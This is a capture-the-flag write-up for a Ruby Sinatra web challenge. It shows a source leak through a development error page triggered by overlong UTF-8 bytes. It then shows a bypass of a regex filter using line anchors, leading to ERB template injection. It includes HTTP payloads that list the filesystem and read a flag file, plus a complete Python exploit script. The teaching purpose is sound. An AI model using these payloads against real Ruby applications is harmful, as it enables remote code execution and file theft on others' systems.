GemsGen
GemsGen
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: erb_server_side_template_injection, overlong_utf8_error_trigger, ruby_regex_line_boundary_bypass, sinatra_show_exceptions_source_leak
Summary
Walkthrough of the CUSTOM Web GemsGen. Task: Ruby Sinatra app with strict alphanumeric regex filter on user input that is rendered via ERB templates. Solution: Leaked source via Sinatra show_exceptions error page, then bypassed Ruby regex
Description
Amazing Gems Generator
A Ruby Sinatra web application at https://gemsgen.taipanbyte.ru/ that accepts user input via a neon POST parameter and reflects it inside an <h1 class="glow"> tag. The goal is to bypass the input filter and read the flag.
Analysis
Reconnaissance
The application runs Ruby 2.7.5 with WEBrick 1.6.1 behind nginx. Visiting a non-existent route triggers Sinatra's development-mode 404 debug page, which reveals:
- Class name:
NeonControllers - Source file:
neon.rb - Framework: Sinatra in development mode (
show_exceptionsenabled)
The main functionality is a POST endpoint at / that takes a neon parameter and reflects its value inside <h1 class="glow">. Initial testing showed an extremely strict input filter — only [a-zA-Z0-9 \n] characters pass through; all special characters (< > { } % # $ = . etc.) are rejected with "Malicious Input Detected".
Source Code Leak via Error Triggering
Since Sinatra runs in development mode with show_exceptions enabled, triggering an unhandled exception reveals the full source code and stack trace. Sending overlong UTF-8 bytes (%C0%BC) in the neon parameter caused an ArgumentError: invalid byte sequence in UTF-8, which displayed the detailed error page with the complete route handler source code.
Leaked Source Code
ruby read-only • copy allowedpost '/' do if params[:neon] =~ /^[0-9a-z ]+$/i @neon = ERB.new(params[:neon]).result(binding) else @neon = "Malicious Input Detected" end erb :'index' end
The Vulnerability: Ruby Regex Line-Boundary Bypass
The filter uses /^[0-9a-z ]+$/i with ^ and $ anchors. In Ruby, ^ and $ match line boundaries (beginning/end of each line in a multi-line string), NOT string boundaries. String-boundary anchors in Ruby are \A (start) and \z (end).
This means for a multi-line input like clean\n<%= 7*7 %>:
- The regex engine tests the first line
cleanagainst/^[0-9a-z ]+$/i cleanmatches → the=~operator returns a truthy value (match position)- The entire multi-line input (including the ERB payload after the newline) is passed to
ERB.new(params[:neon]).result(binding)
The user input is passed directly to ERB.new().result(binding), giving full ERB template injection with access to the binding context — effectively RCE.
Solution
Step 1: Confirm ERB Execution
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
neon=clean%0A<%25%3D+7*7+%25>
Payload: clean\n<%= 7*7 %>
Response: clean\n49 — confirms ERB code execution.
Step 2: Enumerate the Filesystem
neon=clean%0A<%25%3D+Dir.entries('/app').join('+')%25>
Payload: clean\n<%= Dir.entries('/app').join(' ') %>
Result: Found flag.txt in /app/.
Step 3: Read the Flag
neon=clean%0A<%25%3D+File.read('/app/flag.txt')%25>
Payload: clean\n<%= File.read('/app/flag.txt') %>
Result: CTF{REDACTED}
Full Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """ GemsGen — TaipanByte CTF Ruby regex ^/$ line-boundary bypass + ERB SSTI In Ruby, ^ and $ match line boundaries, not string boundaries (\A/\z). Injecting a newline before ERB payload bypasses the alphanumeric filter. """ import urllib.request import urllib.parse import re URL = "https://gemsgen.taipanbyte.ru/" # Newline before ERB payload bypasses /^[0-9a-z ]+$/i payload = "clean\n<%= File.read('/app/flag.txt') %>" body = urllib.parse.urlencode({"neon": payload}).encode() req = urllib.request.Request(URL, data=body, method="POST") req.add_header("Content-Type", "application/x-www-form-urlencoded") resp = urllib.request.urlopen(req) html = resp.read().decode() m = re.search(r'<h1 class="glow">(.*?)</h1>', html, re.DOTALL) if m: content = m.group(1).strip() # Flag is on the second line (after "clean") lines = content.split("\n") flag = lines[-1].strip() if len(lines) > 1 else content print(f"Flag: {flag}")
Key Takeaways / Lessons
- Mastering erb_server_side_template_injection, overlong_utf8_error_trigger, ruby_regex_line_boundary_bypass, sinatra_show_exceptions_source_leak was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-23 • CUSTOM • GemsGen • Difficulty: Medium